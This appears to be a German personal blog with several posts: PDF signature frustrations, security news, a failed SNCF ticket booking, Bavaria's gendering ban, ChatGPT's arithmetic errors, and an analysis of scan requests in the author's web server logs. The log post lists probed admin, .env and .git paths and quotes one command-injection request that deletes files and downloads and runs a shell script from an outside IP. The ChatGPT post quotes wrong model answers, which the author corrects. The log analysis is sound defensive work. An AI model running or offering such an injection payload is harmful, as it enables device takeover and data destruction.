Stranger Than Usual

I mean but come on. This looks like two buddies having fun together. Like Calvin and Hobbes. If Hobbes was firmly attached to Calvin's ass.

True Facts: Incredible Crab Stories

I hope this email finds you

Hier hat jemand Spaß gehabt, einen Bot zu schreiben, der aus einem Textkorpus Sätze heraussucht, die „finds you“ enthalten, den Teil davor durch „I hope this email“ ersetzt, aber den Teil danach behält und das ganze auf Mastodon posted. Zwei Mal am Tag.

Dabei kommen zum Teil relativ offensichtliche Ergebnisse heraus, wie zum Beispiel:

I hope this email finds you in good spirits and health.

Manche Posts scheinen aus einem wissenschaftlichen Journal zu kommen:

I hope this email finds you well and in this issue, our lead feature describes the exciting results of the first clinical trials conducted using a new drug called Fosamax for osteoporosis.

Andere klingen einfach nur bedrohlich:

I hope this email finds you no matter where you're hiding.

So oder so, es ist ein netter kleiner Bot und es lohnt sich, den mal anzuschauen. Der Quellcode ist freie Software und recht einfach, da kann man also auch mal reinschauen.

Voyager 1 lebt!

Man muss ja auch mal die positiven Sachen sehen: Diese Woche kriegt die NASA endlich wieder brauchbare Daten von Voyager 1. Seit November 2023 kamen nur noch Nonsensdaten, und viele hatten die Sonde schon abgeschrieben. Stattdessen konnten die Leute bei der NASA das Problem beheben. Und das ist echt eine Leistung, auch weil die Sonde mittlerweile 22,5 Lichtstunden von der Erde entfernt ist. Damit ist sie das am weitesten von der Erde entfernte von Menschen geschaffene Objekt.

Zum Vergleich: Ich selber kriege ja kaum meine eigenen Computer unter Kontrolle, und das, obwohl sie direkt vor mir stehen.

Ach ja, und ein Fun Fact: Voyager 2 ist zwei Wochen vor Voyager 1 gestartet.

PDF-Unterschriften

Die Verwaltung sollte wegkommen von diesem PDF-Fetisch.

Casey Kreer

Für einen aktuellen Antrag an der Uni muss ich eine PDF-Datei „digital unterschreiben“. Und mit „digital unterschreiben“ meinen sie keine digitale Signatur, also eine kryptographisches Verfahren, um sicherzustellen, dass tatsächlich ich es war, der das Dokument bearbeitet/erstellt hat. PDF unterstützt das zwar, aber kaum jemand nutzt es, und es gibt (gab?) damit auch gewisse Probleme.

Nein, gemeint ist, dass ich ein Bild meiner Unterschrift in eine PDF-Datei einfüge. Das erste Problem ist: PDF ist nicht dafür gemacht, bearbeitet zu werden. Es ist dazu da, ein Dokument, das gedruckt werden soll genau so darzustellen, wie es gedruckt aussehen wird (inkl. aller Resourcen wie z.B. Schriftarten), so dass man das Dokument zwischen verschiedenen Systemen hin- und herschicken kann, und es überall gleich aussieht. Diese Aufgabe löst PDF ziemlich gut.

Nun hat aber der Erfolg von PDF Adobe dazu gebracht, noch einen Haufen weiterer Features hinzuzufügen. Zum Beispiel Formularfelder, oder allgemein: Annotationen, mit denen man Inhalt über PDF-Dokumente drüberlegen kann. Unterschriften zum Beispiel, aber auch Textmarkierungen, etc.

Damit kommen wir zum zweiten Problem: PDF ist kein freier Standard, und ein sehr komplexes Format noch dazu. So finden sich zwar ein Haufen PDF-Reader für verschiedene Systeme, die die meisten PDF-Dateien korrekt anzeigen können. Es finden sich auch viele Programme, die ihr Format in PDF exportieren können. Auch das funktioniert gut, zumal ja nur eine Untermenge der PDF-Features verwendet wird.

Problematisch wird es, wenn man Inhalte hinzufügen will. evince zum Beispiel, ein PDF-Reader, der in Gnome standardmäßig verwendet wird, kann Formulare ausfüllen. Mehr oder weniger. In diesem Fall konnte ich die Formulare ausfüllen, aber der Inhalt der Felder wurde mir nicht angezeigt, es sei denn, ich hatte das entsprechende Feld markiert. Beim Einfügen von Bildern (der Unterschrift zum Beispiel) konnte mir evince aber nicht weiterhelfen.

Normalerweise nehme ich an dieser Stelle Xournal, ein Annotationsprogramm für PDFs. Das ging hier leider nicht, denn weder wurde das ausgefüllte Formular in Xournal angezeigt, noch wird nach dem Abspeichern der Inhalt des Forumlars behalten. Schlimmer noch, das Formular selbst wird unbrauchbar gemacht, so dass ich es nicht einmal neu ausfüllen kann.

Ich musste mir am Ende von meiner Professorin helfen lassen, die ein Programm hat, mit dem das geht. Das ist schon ein bisschen peinlich, weil ich ein erfahrener Informatiker bin, aber ich war am Ende echt am Rand eines Nervenzusammenbruchs.

Können wir bitte aufhören, für diesen Bürokratiekrams ein Format zu verwenden, das einfach nicht dafür geeignet ist? Ein Format, dass Benutzer praktisch dazu zwingt, die Software eines bestimmten Herstellers (Adobe) zu verwenden? Ein Format, das nicht barrierefrei ist (dazu gerne den Artikel auf netzpolitik.org lesen, den ich oben verlinkt habe)?

Ich habe die Schnauze voll von dem Scheiß. Die Digitalisierung in Deutschland (oh, in den Niederlanden hatte ich denselben Ärger) geht in die falsche Richtung. Digitalisierung bedeutet nicht, die analogen Vorgänge 1:1 in einen Computer zu übertragen. Automatische Datenverarbeitung kriegen wir so auch nicht hin, PDF ist kein maschinenlesbares Format. Das heißt, am Ende muss doch wieder jemand manuell die Daten aus dem PDF in ein anderes System eintragen. Dann kann man auch lieber beim Papier bleiben, da ist es einfacher, Unterschriften drunterzusetzen.

Die SSH-Backdoor

So, nachdem ich vorgestern erst einmal meinem Ärger Luft lassen musste habe ich jetzt mal ein bisschen geschaut, was während meines Urlaubs so alles in der IT-Sicherheit passiert ist.

Ross Anderson

Zum Einen wäre da natürlich der Tod von Ross Anderson, Informatiker, Sicherheitsforscher, Kryptologe und Autor u.a. von Security Engineering. Sein Tod wurde auch von anderen Sicherheitsexperten wie Bruce Schneier und Fefe betrauert.

Zerforschung und CanGuard

Dann hat Zerforschung mal wieder eine Bombe platzen lassen. Aufgrund irgendwelcher Regulierungen bezüglich der Cannabis-Legalisierung kann man „Cannabis Social Clubs“ gründen, für die es erforderlich ist, Daten von allen Mitgliedern zu erfassen.

Neue Bürokratie, neue Software, die man verkaufen kann. So hat ein Hersteller die Software „CanGuard“ beworben, mit der man Mitglieder, Satzung und Lagerbestände verwalten kann. Laut Werbung sicher und Datenschutzkonform. Sollte man ja wohl auch erwarten, immerhin geht es hier um persönliche Daten, Name, Anschrift und natürlich implizite Informationen über (legalen) Drogenkonsum.

Dann haben sich ein paar Leute gewundert, warum sie plötzlich viel Spam bekommen, und beim CanGuard-Anbieter gefragt, ob es bei denen ein Leck gab. Die Antwort: Nein, unsere Software ist total sicher.

Zerforschung hat sich das dann angeschaut, und ich kann nur empfehlen, den Artikel zu lesen. Kurz zusammengefasst: Die Software ist nicht sicher, die Fehler, die gemacht wurden, sind absolute Anfängerfehler, und die Daten von über 1000 Nutzer_innen standen für jeden lesbar im Netz.

Wieder einmal kann ich nur bekräftigen: Zusicherungen von Firmen, dass ihre Software sicher seit ist nicht zu trauen! In diesem Fall waren die Sicherheitslücken wieder so eklatant, dass offensichtlich kein Gedanke an Sicherheit verschwendet wurde. Naja, immerhin waren die Passwörter mit bcrypt gehashed. Herausreichen sollte man sie trotzdem nicht.

Die XZ Utils / SSH-Backdoor

Aber Platz 1 hat auf jeden Fall die SSH-Backdoor erhalten. Da hat jemand sich über drei Jahre hinweg in die Entwicklung von XZ Utils (einer Bibliothek, die von SSH verwendet wird) eingeschlichen, mithilfe mutmaßlich gefälschter Accounts sozialen Druck auf den Maintainer der Bibliothek ausgeübt, doch bitte als Maintainer abzutreten und dann ein paar subtile Änderungen gemacht, die während des Buildprozesses eine Backdoor einfügten. Aufgefallen ist das nur durch Zufall (ein Entwickler hat sich über hohe Latenzen gewundert oder so), und zwar kurz bevor die größeren Linuxdistributionen die korrupte Version in ihre Repos übernommen haben.

Kurz: Da steckt eine ganze Menge kriminelle Energie und Zeit (und damit vermutlich auch Geld) hinter, und es wird viel spekuliert, wer dahinter stecken könnte und welche Probleme dahinterstecken, dass das überhaupt möglich war. So oder so sicher das Security-Thema des Jahres, ungefähr auf dem Niveau der log4shell-Lücke, nur dass das hier absichtlich war, dafür aber nicht weit verbreitet, als es entdeckt wurde. Natürlich gibt es dazu auch einiges an Informationen, die die Sache genauer erklären als ich hier.

Nicht nur die DB hat eine Scheißwebsite

Ich war im Urlaub in Frankreich. Da meine Mitreisenden eine Woche länger als ich bleiben wollten, musste ich auf einem anderen Weg zurück. Die üblichen Verdächtigen konnten mich alle aus verschiedenen Gründen nicht mitnehmen, also musste ich die Bahn nehmen.

Ich bin bisher schon ein paar Mal mit der Bahn von dort zurückgefahren. Bis zum nächsten Bahnhof (Valence TGV) sind es zwar knapp zwei Stunden fahrt mit dem Auto, aber das ist noch machbar. Von da aus ist die Verbindung eigentlich ganz gut, ich kann von Valence mit dem Zug z.B. nach Paris fahren, von dort aus nach Köln, und von Köln aus kommt man gut weiter.

Buchung eines Zugtickets

Nur die Buchungswebsite der SNCF, also der französischen Eisenbahngesellschaft steht der Website der Deutschen Bahn in nichts nach… was Unbedienbarkeit angeht. Züge in ein anderes Land zu buchen ist ganz schlimm.

Also eine halbstündige Fahrt nach Aubenas, um dort in der örtlichen Niederlassung der Verkehrsbetriebe ein Ticket zu kaufen. Der Herr dort sprach auch Englisch, was die Kommunikation bei meinem gebrochenen Französisch sehr erleichtert hat.

Der Typ konnte mit auch kein Ticket irgendwo nach Deutschland verkaufen, nur in bestimmte Städte. Mit dem alten System hätte er das gekonnt, beteuerte er, aber mit dem neuen System ginge das nicht mehr. Immerhin konnte er mit mit diesem kaputtverbesserten System (ich frage mich, was die Entwickler von diesen Buchungssystemen eigentlich beruflich machen) ein Ticket nach Köln verkaufen. Ich war mir sicher, sobald ich erst einmal in Köln wäre, würde ich den Rest der Strecke schon irgendwie schaffen. Das war am Dienstag, die Abreise war am Samstagmorgen.

Falsch gebuchte Karten

Am Freitagnachmittag musste ich dann feststellen, dass mir der Typ keine Tickets für den 6. April, sondern für den 13. April, also eine Woche später verkauft hat. Auf den Tickets war sogar ein Hinweis, dass der ursprüngliche gewählte Termin nicht verfügbar war. Hat mir der Typ das gesagt? Nein.

Nun gab es zwei Probleme: Zum einen musste ich die fehlerhaften Tickets stornieren. Zum Anderen musste ich irgendwie nach Hause kommen. Für das zweite Problem gab es keine gute Lösung. Züge: Alle ausgebucht. Flixbus: Fährt von Lyon aus (vier Stunden Fahrr entfernt), fährt gegen 00:00 ab, braucht mindestens 26 Stunden, ist auch ausgebucht. Am Ende haben meine Mitreisenden dann ihren Urlaub abgebrochen (!) und sind eine Woche früher nach Hause gefahren. Statt am Samstagabend bin ich dann erst am Sonntagabend zu Hause angekommen und habe es nicht geschafft, die ganzen Kleinigkeiten zu erledigen, die ich bei der Urlaubsrückkehr eigentlich schaffen wollte.

Die Stornierung

Dann blieb das zweite Problem: Die Stornierung der Tickets. Die Tickets waren wirklich teuer, selbst im Vergleich zur deutschen Bahn. Ich hätte das Geld schon gerne zurück, zumal es ja nicht mein Fehler war, dass sie falsch gebucht wurden.

Ich wollte die Tickets unbedingt noch am Freitag stornieren, weil man sie bis zu eine Woche vorher kostenlos stornieren kann. Da sie mir fehlerhaft verkauft wurden könnte ich sie meinem Rechtsempfinden nach vermutlich auch später stornieren, aber einfacher sollte es eigentlich sein, sie zu den normalen Bedingungen zu stornieren.

Man kann Tickets über die SNCF-Website stornieren. Das geht aber nicht über sncf.com, sondern nur über sncf-connect.com. Wir haben eine Dreiviertelstunde gebraucht, um es überhaupt zu schaffen, die richtige Stelle zu finden, wo man das Ticket stornieren kann, die richtige Nummer zu finden, die man braucht, um das Ticket zu finden (man konnte sich die Nummern auch per Mail zuschicken lassen, diese Mail ist aber nie bei mir angekommen), das Eingabefeld umgehen, in dem man meinen Nachnamen eingeben musste (den das System nicht angenommen hat, obwohl er auf dem Ticket steht) und stattdessen die Zugnummer anzugeben, allerdings nur einen Teil der Zugnummer, denn den anderen Teil konnte man nicht eingeben, weil er aus Buchstaben bestand (habe ich schon einmal gesagt, dass die Seite furchtbar schlecht gebaut war?), nur um dann folgende Nachricht zu sehen:

Screenshot der SNCF-Website. In orange steht dort „Die Reise kann nicht umgetauscht order storniert werden“. Darunter steht „Die Online-Hilfe konsultieren“.

Warum ich das Ticket nicht stornieren konnte, stand dort nicht. Nach den auf dem Ticket aufgedruckten Infos hätte ich es stornieren können müssen. Support? Schwer zu finden. Telefonsupport? 7 Tage die Woche, bis 20:00 Uhr abends. Also dort angerufen, aber dort ging nur der Automat dran, der entgegen der Information auf der Website behauptete, die Hotline sei an diesem Tag nicht besetzt. Webformular? Wird frühestens am Montag bearbeitet. Am Ende habe ich das Webformular genommen, damit ich wenigstens offiziell rechtzeitig versucht habe, eine Stornierung einzuleiten.

Oh, aber ich hatte ja zwei Tickets. Eins von Valence nach Paris, eins von Paris nach Köln. Letzteres ließ sich nicht über das Onlinedingsbums stornieren. Das erste, wie ich dann herausfinden musste, aber schon. Allerdings bekam ich dann diese Meldung:

Screenshot einer Fehlermeldung: „Es ist ein technischer Fehler aufgetreten. Bitte kontaktieren Sie unseren Kundendienst über die Rubrik Hilfe, um den Status Ihrer Stornierung zu überprüfen.“

Naja, immerhin trudelte kurz darauf eine Stornobestätigung per Mail ein, also wird das wohl funktioniert haben. Da drin stand u.a.:

Um die Erstattung Ihrer Fahrkarten in Höhe von [vielzuviel Geld] zu erhalten, stellen Sie sicher, dass diese in Ihrem Besitz sind, und geben Sie sie über ein spezielles Verfahren, das über unsere Online-Hilfe zugänglich ist, zurück.

Ich muss also noch irgendwelche Rituale vollführen, um auch wirklich an mein Geld zu kommen. Immerhin: In der Mail war auch ein Link zu genau der richtigen Onlinehilfseite… dachte ich. Stattdessen führe der Link auf diese Seite:

Screenshot einer SNCF-Fehlermeldung: „Seite nich[sic] gefunden“

An diesem Punkt war ich völlig fertig mit den Nerven. Immerhin hatte ich meine Stornobestätigung, an das Geld werde ich dann ja wohl noch später kommen.

Fazit

Fassen wir zusammen:

  1. Tickets, die ich extra von Fachpersonal habe buchen lassen, weil ich mit dem Buchungssystem nicht klarkomme, wurden vom Fachpersonal für den falschen Tag gebucht.
  2. Kurzfristig richtige Tickets buchen war nicht möglich, meine Mitreisenden haben für mich ihren Urlaub abgebrochen
  3. Versuch, ein Teilticket über die Website zu stornieren scheiterte ohne Angabe von Gründen
  4. Versuch, das andere Ticket zu stornieren war trotz Fehlermeldung erfolgreich, aber um mein Geld zurückzubekommen muss ich etwas tun, was nicht näher beschrieben ist, und der Link auf die entsprechenden Hilfeseiten ist tot.
  5. Die SNCF-Website ist ein Haufen Mist, getarnt in einer modern aussehenden Oberfläche.

Warum versuche ich das mit dem Verreisen eigentlich noch? Ist es das wirklich wert? Sollte ich vielleicht einfach zu Hause bleiben?

CSU: Die Verbotspartei

Jetzt ist es soweit: in Bayern sind jetzt genderneutrale Bezeichnungen für Beamtinnen verboten. Die Diskussion darum brodelt ja schon eine Weile. Interessanterweise geht es meist darum, dass angeblich überall genderneutrale Sprache (also Konstrukte wie InformatikerInnen, Informatiker*innen oder Informatiker_innen) vorgeschrieben sei, und dass es ja viel zu unterdrückend sei, wenn man versucht, sich neutral auszudrücken.

Ich möchte hier nicht über die Sinnhaftigkeit dieser genderneutralen Konstrukte sprechen. Ich haben von Linguisten und Psychologen einige gute Argumente gehört, warum es sinnvoll ist, sie zu benutzen, aber ich selber habe da mangels Expertise keine starke Meinung.

Was mich aber wirklich anpisst in dieser Diskussion ist das oben beschriebene Framing. In der Realität beobachte ich nämlich von den Verfechtern der genderneutralen Sprache schlimmstensfalls ein „es wäre schön, wenn ihr das machen würdet“, in den meisten Fällen beobachte ich aber nur einfach, dass sie es machen. Es wird ein Politikum, aber kein großes, ein kleines Detail, um in die Gesellschaft ein kleines bisschen in die richtige Richtung zu bewegen.

Die Gegner dieser Sprachkonstrukte hingegen sind laut, beschweren sich über bevormundung, beschimpfen Leute, die diese Konstrukte benutzen, und so weiter. Tatsache ist aber: niemand zwingt sie, diese Konstrukte zu verwenden.

Und jetzt dieses neue Gesetz in Bayern. Aus dem oben verlinkten Artikel:

Es gehe darum, "die Diskursräume in einer liberalen offenen Gesellschaft tatsächlich offenzuhalten und nicht weiter zu verdrängen", sagte der CSU-Politiker.

Interessant. Um Diskursräume in einer liberalen offenen Gesellschaft offenzuhalten muss neutrale Sprache in öffentlichen Einrichtungen verboten werden? Den Gedankengang verstehe ich nicht.

Es sei "häufig zu erleben", dass Teile der Bevölkerung mit "großem missionarischen Eifer" unterwegs seien und es in bestimmten Milieus "faktisch zu einem Zwang" komme und ein "moralischer Druck" zum Gendern entstehe.

Ach ja. Und um diesem moralischen Druck etwas entgegenzusetzen verbieten wir das jetzt einfach? Und wie gesagt, den „missionarischen Eifer“ sehe ich eher bei denen, die immer gegen diese Sprache wettern.

Und woran erkennt man, dass das Gesetz wirklich, wirklich Scheiße ist? Ganz einfach: der AfD gefällt es:

"Linksgrüne, genderideologische Schreib- und Sprechvorgaben" seien eine Bevormundung der Bürger.

Das klingt ja schon einmal wieder voll nach AfD-Rhetorik. Ist es ja auch. Übersieht nur praktischerweise, dass es erstens keine Sprachvorgaben gab und zweitens dieses Gesetzt selber eine Sprachvorgabe und eine Bevormundung der Bürger ist. Aber naja, was soll man von den Rechtsextremen schon erwarten?

Auch wirklich ärgerlich finde ich in diesem Zusammenhang, dass z.B. den Grünen immer vorgeworfen wird eine „Verbotspartei“ zu sein, die immer nue Spielverderber seien und allen ihren Spaß nehmen wollen, und die außerdem viel zu viel Zeit damit verbringen, sich um unwichtige Dinge wie zum Beispiel genderneutrale Sprache zu kümmern. In Wirklichkeit sind aber eher die C-Parteien die Verbotsparteien, die sich so sehr an den angeblich so unwichtigen Dingen wie genderneutraler Sprache festbeißen.

So genug gerantet, ab ins Bett. Gute Nacht an alle Leser_innen.

Update 2024-03-20:

Der Volksverpetzer hat dazu auch einen Artikel, in dem insbesonders noch einmal schön dargestellt wird, warum die C-Parteien die „Verbotsparteien“ sind.

MathGPT

Ich habe ja letztes Jahr schon einmal etwas über ChatGPT geschrieben. Der „AI“-Hype hat seitdem nur zugenommen (aber darüber rante ich jetzt nicht großartig), und aus gegebenem Anlass schreibe ich jetzt noch mal etwas dazu.

Ich habe ChatGPT bisher hauptsächlich aus Neugier verwendet. Häufig, um die Grenzen auszuloten und die „Denkweise“ (nein, ChatGPT denkt nicht wirklich) zu verstehen. Berufliche Neugier und so. Ich bin da nicht der Einzige, ich habe einige Vorträte, Texte und Paper von Leuten gesehen, die so etwas viel besser und gründlicher gemacht haben. Manchmal nutze ich es aber auch, um mir ein bisschen Inspiration zu geben.

Ein Zahlenrätsel auf Anfrage

Letztes Jahr zum Beispiel hat ein Doktorand bei uns ein Rätsel in Gedichtform herumgeschickt. Irgendwer hatte gemeint, dieser Kollege müsse zu seinem Geburtstag sein Alter nicht direkt nennen, sondern in einem Rätsel verpacken oder so.

Das hat bei mir die Frage aufgeworfen: Könnte ich so etwas vielleicht auch machen? Mein Geburtstag war zwar noch eine Weile entfernt, aber ich kann ja aus Spaß mal ChatGPT fragen.

Das erste Gedicht war langweilig und war im Prinzip nur „Was ist sieben mal fünf“ in Gedichtform. Ich habe dann ein komplizierteres Rätsel verlangt. Daraufhin kam diese Antwort:

I'm odd and even, quite the mix,
Divisible by five and by six.
My digits sum up to eight,
A number not so easy to relate.
I am prime, but not alone,
With cousins, twins, and numbers unknown.
What am I?

Answer: Thirty-five (35)

Explanation:

  • "Odd and even, quite the mix" refers to the fact that 35 is an odd number but also divisible by 5 (an odd number is usually not divisible by 5).
  • "Divisible by five and by six" is a more complicated clue that leads to the solution since 35 is divisible by 5 and 7, and 5 x 7 = 35, which is also divisible by 5 and 6.
  • "My digits sum up to eight" means that the digits of 35, 3 and 5, add up to 8.
  • "I am prime, but not alone, with cousins, twins, and numbers unknown" refers to the fact that 35 is a prime number (divisible only by 1 and itself), but it is not alone in this group since it has other "cousin" primes nearby, such as 31 and 37, as well as twin primes (pairs of primes that differ by 2), such as 37 and 41, and numbers unknown, meaning other primes that are not yet discovered or named.

Diese Begründung ist natürlich Bullshit. 35 ist nicht „Divisible by six“. Es ist auch keine Primzahl. Das ist ein klassisches ChatGPT-Ding: Wenn man nicht mehr weiter weiß, bullshitten was das Zeug hält. Ist ja auch fair. ChatGPT ist ein Sprachmodell, kein Mathematikmodell, keine Intelligenz, kein Lexikon und auch kein Computer. Computer müssen rechnen können. Sprachmodelle müssen nicht rechnen können. Sie müssen Sprache verarbeiten.

Ein Mathematiklehrerchatbot

Dass das viele noch nicht verstanden haben, ist meiner Ansicht nach das Hauptproblem mit dem aktuellen „KI“-Hype. Und wie das mit Hypes nun mal so ist, muss jetzt halt überall „AI“ oder „KI“ rein (es gibt einen Grund, warum ich das immer in Anführungszeichen setze, aber ich habe mir vorgenommen, heute mal nicht zu ranten, deswegen gehe ich jetzt nicht näher darauf ein.

Jedenfalls gab es jetzt einen Versuch, eine Art auf ChatGPT basierenden Mathe-Nachhilfelehrer anzubieten. TL;DR: Dieser Chatbot kann nicht rechnen, und nimmt 320 als richtiges Ergebnis für 343 - 17 an.

Was sagt denn ChatGPT dazu?

Das musste ich natürlich mal selber ausprobieren. Nicht mit dem Mathelehrer-Chatbot, sondern mit ChatGPT selbst. Die erste Aufgabe hat es noch gut gelöst:

You: What is the square root of 15610401

ChatGPT: The square root of 15,610,401 is 3,951.

Soweit korrekt. Aber wie funktioniert das? Hat ChatGPT Zugriff auf Rechenfunktionen?

You: How do you calculate this? I mean you (ChatGPT) specifically. Do you have access to calculation routines or is this part of your learned behaviour?

ChatGPT: As an AI language model, I don't have direct access to external calculation routines or databases. Instead, I use algorithms and mathematical principles that I've been trained on during my development. My ability to perform calculations, including computing square roots, comes from the patterns and relationships learned from the vast amount of text data I've been trained on. When you ask me to compute something like a square root, I'm essentially applying learned mathematical concepts and algorithms to provide you with the answer.

Diese Antwort sieht sehr danach aus, als ob sie mehr oder weniger fest vorgegeben ist. Aber gut. 3951 zum Quadrat hätte ChatGPT auch irgendwo in den Trainingsdaten haben können. Also probieren wir mal größere Zahlen.

You: Interesting. What is the square root of 12464663264089?

ChatGPT: The square root of 12,464,663,264,089 is 11,160,601.

You: What is 11160601 times 11160601?

ChatGPT: 11160601 times 11160601 equals 1,244,663,264,089.

Ok, mit den Zahlen kommt es nicht mehr klar. Nur zur Referenz: Die gesuchte Wurzel ist 3530533 ChatGPT liegt also um eine Größenordnung darüber. Deswegen habe ich mal geschaut, was es macht, wenn man dieses falsche Ergebnis wieder quadrieren möchte. Eigentlich müsste dann ja wieder die ursprüngliche Eingabe herauskommen. Oder vielleicht das richtige Ergebnis für diese Multiplikation. Vielleicht merkt ChatGPT sogar, dass es einen Fehler gemacht hat. Tut es aber nicht. Stattdessen kommt ein Ergebnis, dass um Größenordnungen unter dem wirklichen Ergebnis (124559014681201) liegt.

Bei anderen Sachen schafft es ChatGPT manchmal, mit einem Hinweis auf einen Fehler diesen zu korrigieren. Oft genug macht es die Sache aber nur noch schlimmer:

You: Are you sure?

ChatGPT: Let me double-check that calculation for you.

11,160,601×11,160,601=124,646,632,640,801 Apologies for the error in my previous response. The correct result is 124,646,632,640,801. Thank you for bringing it to my attention.

ChatGPT hat sich wirklich Mühe gegeben, die Antwort brauchte auch deutlich länger. sie ist auch deutlich näher dran, aber immer noch komplett falsch. Naja, eine Chance gebe ich ihm noch:

You: Knowing that, can you redo the calculation for the square root of 12464663264089?

ChatGPT: Of course. Let's calculate the square root of 12,464,663,264,089.

The square root of 12,464,663,264,089 is approximately 3,527,081.

Auch hier: deutlich näher dran, aber immer noch falsch. Also einmal hinter die Ohren schreiben: ChatGPT ist ein Sprachmodell. Es kann nicht rechnen. Es kann dir korrekte Auskunft über Flugrabatte geben. Es kann dir keine korrekten Quellen für wissenschaftliche Erkenntnisse nennen. Es kann dir keine Präzedenzurteile nennen. Oder vielmehr: Es kann das, aber genausogut kann es sich auch einfach Dinge aus dem Arsch ziehen. Also auf keinen Fall darauf verlassen, was ChatGPT sagt! Immer überprüfen! Und woch ich gerade darüber nachdenke: Quellen auch dann überprüfen, wenn sie nicht von ChatGPT stammen.

Scannen von häufigen Pfaden auf Webservern

Ein Bekannter von der Uni hat neulich im internen Chat etwas geposted. Und zwar hat er eine ungesicherte MongoDB-Instanz ins Netz gestellt, weil er kurz etwas ausprobieren wollte. Zehn (!) Minuten später waren die Daten weg und nur eine Erpressermitteilung (à la „Your data has been backed up, pay 0.005 BTC to get them back“) war noch zu finden. Nun war das ein Testsystem für Sicherheitstests, und die Daten waren weder sensibel noch wichtig. Sonst hätte der die Datenbank auch nicht ins Netz gestellt. Aber von der Geschwindigkeit waren wir dann doch überrascht.

Scans auf meinem Webserver

Das hat mich dann wieder daran erinnert, dass ich auch auf meinem Webserver (auf dem dieses Blog hier läuft) regelmäßig Fehler im Log finde, das irgendwelche obskuren Seiten nicht gefunden wurden. Das war schon vor zwölf Jahren so (und der Webserver damals lief nur standardmäßig, den habe ich dann bis zum Start dieses Blogs abgeschaltet), und es ist immernoch so. Ich logge ja nicht viel (Datenschutz), aber zumindest welche Fehler der nginx so hat, logge ich dann doch.

Also habe ich mir ein kleines script geschrieben, um einfach mal diese Logdateien auszuwerten. Es wurden an einem Tag 131 eindeutige, ungültige Pfade angefordert. Die habe ich dann gruppiert. Hier eine Übersicht:

Fehler meinerseits

Ein paar der Pfade waren definitiv harmlos. Sechs davon gehen auf alte tag-Seiten. Das waren die einzigen Pfade, die ich ersatzlos gestrichen habe (jaja, ich weiß, „cool URIs don't change“). Einer davon ging auf einen kaputten Bildpfad, und stammt aus einem og-Tag. Das konnte ich reparieren. Alleine dafür hat sich die Sache schon gelohnt.

Ach ja, und /favicon.ico, obwohl das favicon dieses Blog woanders liegt. Aber manche Browser fragen einfach immer nach dem alten Standardpfad.

Admin-Seiten

Dann gibt es die üblichen scans nach häufigen Pfadnamen für Admin-Seiten, vermutlich in der Hoffnung, eine ungesicherte Seite zu finden. Hier ein paar Beispiele:

/admin.asp
/admin.cfm
/admin.cgi
/admin.html
/admin.jhtml
/admin.jsa
/admin.jsp
/webui

Häufige Pfadnamen

Manches sieht einfach danach aus, also ob man alle möglichen Pfade durchgeht, die eventuell verwundbar sein könnten:

/default.asp
/default.aspx
/default.jhtml
/default.jsp
/default.php
/home.asp
/home.aspx
/home.cfm
/home.cgi
/home.pl
/index.asp
/index.html
/index.jsp
/index.pl
/index.shtml
/indice.asp
/indice.aspx
/indice.cfm
/indice.cgi
/indice.html
/indice.jhtml
/indice.jsa
/indice.jsp
/indice.php
/indice.pl
/indice.shtml

Gerade diese index.*-Dateien listen eventuell auch alle möglichen anderen Dateien im selben Ordner auf, könnten also auch hilfreich für Angreifer sein.

Und dann noch Pfade wie

/backup
/new
/old

vermutlich in der Hoffnung, vermeintlich gelöschte credentials abgreifen zu können.

/.env wurde auch abgerufen, vielleicht weil da öfters mal interessante Konfigurationsdaten drinstehen (z.B. auch wieder credentials).

Git-Pfade

Häufig genug wird anscheinend ein git-Repo direkt ins Webverzeichnis gelegt. Ich habe jetzt nicht näher nachgeschaut, was man mit diesen Informationen machen könnte, aber da manchmal sind credentials im git-Repo, oder der Code selber kann Lücken enthalten, oder es sind interessante Informationen in den config-Dateien.

/admin/.git/config
/app/.git/config
/application/.git/config
/config/.git/config
/.git/config
/.git/HEAD
/static../.git/config

Wordpress-Pfade

Wordpress ist immer noch sehr weit verbreitet, und hat historisch ja auch den Ruf, viele Lücken zu haben, oder insbesondere: viele Deployments zu haben, die bei bekannten, behobenen Lücken nicht aktualisiert wurden.

/wordpress
/wp
/wp-apxupx.php?apx=upx
/wp-json/acf/v3/options/a?id=wp_mail&field=smtp
//wp-json/wp/v2/posts?per_page=1&_fields=id,slug,comment_status

Recon-Krams

Bei manchen Dateien scheint es keinen vorrangingen Grund zu geben, warum ein Angreifer versuchen sollte, sie abzurufen. So zum Beispiel:

/CSS/Miniweb.css
/static/admin/javascript/hetong.js
/version

Ich vermute mal, man kann anhand dieser Dateien darauf schließen, ob eine gewisse, verwundbare Version einer Software auf dem Server läuft oder so.

Und was immer das hier ist

Manche Pfade sehen so offensichtlich bösartig aus, dass sie in keine der anderen Kategorien fallen:

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F192.3.152.183%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh)

TLS-Fehler

Unabhängig von den Pfaden habe ich noch einige TLS-Fehler entdeckt. Das muss kein Scan sein. Es kann auch einfach sein, dass irgendein Client die Verbindung verkackt hat. Aber wenn man auf TLS-Lücken scannt, dann erzeugt das normalerweise auch einige Fehlermeldungen.

Schlussfolgerungen

Das war nur eine sehr oberflächliche Übersicht über die aufgerufenen Pfade. Aber das ist schon interessant genug.

Ich weiß nicht, woher diese Scans kamen. In jedem Fall sind sie höchstwahrscheinlich automatisiert. Es könnten bösartige Angreifer gewesen sein. Oder Sicherheitsforscher. Oder Crawler von Sicherheits-Suchmaschinen, wie z.B. Shodan.

Das macht aber keinen Unterschied. Wichtig ist:

  1. Auf keinen Fall ungesicherte Seiten offen im Netz stehen lassen, die dort nicht sein sollten. Nicht einmal für eine Sekunde! Nicht einmal für das Setup eines Dienstes! Jedes offene Einfallstor kann und wird gefunden werden.
  2. Jede Software, die Kontakt zum Netz hat, regelmäßig updaten. Jede Software, auf die Software zugreift, die Kontakt zum Netz hat, regelmäßig updaten. Wenn du die Software selbst schreibst: Jede Bibliothek regelmäßig updaten. Wenn es Sicherheitspatches gibt? Am Tag der Veröffentlichung einspielen!. Wenn ein Scanner eine verwundbare Seite findet, wird jemand diese Schwachstelle ausnutzen.
  3. Aufpassen, dass der Webserver korrekt konfiguriert ist und nur Daten aus dem entsprechenden Verzeichnis ausliefert oder, bei dynamischen Seiten, genau das als Code ausführt, was ausgeführt werden soll
